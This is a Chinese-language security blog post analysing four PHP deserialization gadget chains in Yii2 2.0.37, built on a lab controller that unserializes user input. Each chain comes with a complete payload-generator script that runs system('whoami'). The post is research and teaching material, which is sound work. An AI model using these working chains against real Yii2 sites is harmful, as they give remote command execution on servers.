yii2.0.37反序列化分析

环境配置

安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本

一开始就报了这个错误

R09RCn.png

查了资料才知道要给 yii-basic-app-2.0.37\basic\config\web.php中的cookieValidationKey赋值,内容随意。

R096EQ.png

运行成功

R09cNj.png

新建控制器controllers\TestController.php,参数

1
?r=test/test&name=

R09rDS.png

1
2
3
4
5
6
7
8
9
<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
public function actionTest($name){
return unserialize($name);
}
}

漏洞分析

利用链一

/vendor/yiisoft/yii2/db/BatchQueryResult.php

存在__destruct()

R095uT.png

/vendor/yiisoft/yii2/db/BatchQueryResult.php

调用了不存在的方法close(),可以触发__call

R09g4s.png

/vendor/fzaninotto/faker/src/Faker/Generator.php

调用format()

R09IDU.png

/vendor/fzaninotto/faker/src/Faker/Generator.php

这里调用了call_user_func_array,执行的函数名来自于$this->getFormatter($formatter)

R09W3q.png

/vendor/fzaninotto/faker/src/Faker/Generator.php

只要给$this->formatters[$formatters]赋值函数名即可,这里的$formatter是调用的不存在方法名,也就是close

R09fg0.png

到这里只能控制函数名,不能控制函数参数,先执行一下phpinfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

namespace Faker{
class Generator{
protected $formatters=array();
public function __construct($formatters)
{
$this->formatters=$formatters;
}
}
}

namespace yii\db{
class BatchQueryResult
{
private $_dataReader;
public function __construct($_dataReader)
{
$this->_dataReader=$_dataReader;
}

}
}

namespace {


$a=new Faker\Generator(array('close'=>'phpinfo'));
$b=new yii\db\BatchQueryResult($a);
echo urlencode(serialize($b));
}

执行成功

R09hvV.png

现在还存在一个问题,我们只能控制函数名,函数参数不可控。这里可以尝试利用call_user_func_array调用其他类的方法,传入call_user_func_array([类=>方法],array())即可,这里要调用IndexAction.phprun就传入array(IndexAction类实例,'run')

R09W3q.png

下面是两个可利用的方法,函数名和参数都为属性,可以执行命令

/vendor/yiisoft/yii2/rest/IndexAction.php

R09obF.png

/vendor/yiisoft/yii2/rest/CreateAction.php

R097E4.png

修改exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace Faker{
class Generator{
protected $formatters=array();
public function __construct($formatters)
{
$this->formatters=$formatters;
}
}
}

namespace yii\db{
class BatchQueryResult
{
private $_dataReader;
public function __construct($_dataReader)
{
$this->_dataReader=$_dataReader;
}

}
}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='system';
$this->id='whoami';
}
}
}

namespace {
$c=new \yii\rest\IndexAction();
$a=new Faker\Generator(array('close'=>array($c,'run')));
$b=new yii\db\BatchQueryResult($a);
echo urlencode(serialize($b));
}

可以执行命令

R09HUJ.png

利用链二

/vendor/yiisoft/yii2/db/BatchQueryResult.php

还是同一个起点,但是这次是利用close()而不是__call()

R095uT.png

/vendor/yiisoft/yii2/db/BatchQueryResult.php

调用close()

R09g4s.png

可用的close()

/vendor/yiisoft/yii2/web/DbSession.php

调用了composeFields()

R09b59.png

/vendor/yiisoft/yii2/web/MultiFieldSession.php

这里出现了call_user_func,让$this->writeCallback等于array(IndexAction类实例,'run')就可以直接调用run执行命令了

R09O81.png

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader)
{
$this->_dataReader=$_dataReader;
}
}
}

namespace yii\web{
class DbSession{
public $writeCallback; //run方法
public function __construct($writeCallback)
{
$this->writeCallback=$writeCallback;
}
}
}

//run
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='system';
$this->id='whoami';
}
}
}
namespace {


$c=new \yii\rest\IndexAction();
$b=new yii\web\DbSession(array($c,'run'));
$a=new yii\db\BatchQueryResult($b);
echo urlencode(serialize($a));

}

成功执行

R0CSbD.png

利用链三

/vendor/codeception/codeception/ext/RunProcess.php

存在__destruct(),调用stopProcess

R09LCR.png

/vendor/codeception/codeception/ext/RunProcess.php

$this->processes->isRunning调用不存在的方法触发__call,接下来就跟上面一样了

R09Xgx.png

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

namespace Codeception\Extension{
class RunProcess{
private $processes = array();
public function __construct($processes)
{
$this->processes=$processes;
}
}
}

namespace Faker{
class Generator{
protected $formatters=array();
public function __construct($formatters)
{
$this->formatters=$formatters;
}
}
}

namespace yii\db{
class BatchQueryResult
{
private $_dataReader;
public function __construct($_dataReader)
{
$this->_dataReader=$_dataReader;
}

}
}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='system';
$this->id='whoami';
}
}
}

namespace {
$c=new \yii\rest\IndexAction();
$a=new Faker\Generator(array('isRunning'=>array($c,'run')));

$b=new Codeception\Extension\RunProcess(array('add'=>$a));
echo urlencode(serialize($b));
}

R0CSbD.png

利用链四

/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

存在__destruct(),但需要先为$this->keys赋值才能进入循环触发clearAll

R0CCUH.png

/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

clearAll()中存在拼接字符串操作,触发__toString()

R09jv6.png

查找到可利用的__toString,调用了不存在的方法,再次触发__call,回到原来的利用链

R09xKK.png

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

namespace{
//__destruct
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = [];
public function __construct($path)
{
$this->path=$path;
$this->keys=['a'=>'a'];
}
}
}


namespace Codeception\Util{
//__toString
class XmlBuilder
{
protected $__dom__;
public function __construct($__dom__)
{
$this->__dom__=$__dom__;
}
}
}

namespace Faker{
//__call
class Generator{
protected $formatters=array();
public function __construct($formatters)
{
$this->formatters=$formatters;
}
}
}


namespace yii\rest{
//run
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='system';
$this->id='whoami';
}
}
}

namespace {

$c=new \yii\rest\IndexAction();
$a=new Faker\Generator(array('saveXML'=>array($c,'run')));
$x=new Codeception\Util\XmlBuilder($a);
$aa=new Swift_KeyCache_DiskKeyCache($x);
echo urlencode(serialize($aa));
}

成功执行

R09zDO.png

总结

这几条利用链大同小异,主要都是利用Generator.php中的__call() 和IndexAction.php中的run()

利用链一

  1. BatchQueryResult.php中__destruct()
  2. BatchQueryResult.ph中的reset()
  3. Generator.php中的__call()
  4. Generator.php中的format()
  5. Generator.php中的call_user_func_array($this->getFormatter($formatter), $arguments);
  6. IndexAction.php中的run()

R0Ck8I.png

利用链二

  1. BatchQueryResult.php中__destruct()
  2. BatchQueryResult.ph中的reset()
  3. DbSession.php中的close() `
  4. MultiFieldsSession.php中的composeFields()调用call_user_func
  5. IndexAction.php中的run()

R0CA2t.png

利用链三

  1. RunProcess.php中的__destruct()
  2. RunProcess.php中的stopProcess()
  3. Generator.php中的__call()
  4. Generator.php中的format()
  5. Generator.php中的call_user_func_array($this->getFormatter($formatter), $arguments);
  6. IndexAction.php中的run()

R0CExP.png

利用链四

  1. DiskeyCache.php中的 __destruct()
  2. DiskeyCache.php中的clearAll() 触发__toString()
  3. XmlBuilder.php中的 __toString()方法触发__call()
  4. Generator.php中的__call()
  5. Generator.php中的format()
  6. Generator.php中的call_user_func_array($this->getFormatter($formatter), $arguments);
  7. IndexAction.php中的run()

R0CZKf.png

参考链接

https://www.secpulse.com/archives/161161.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!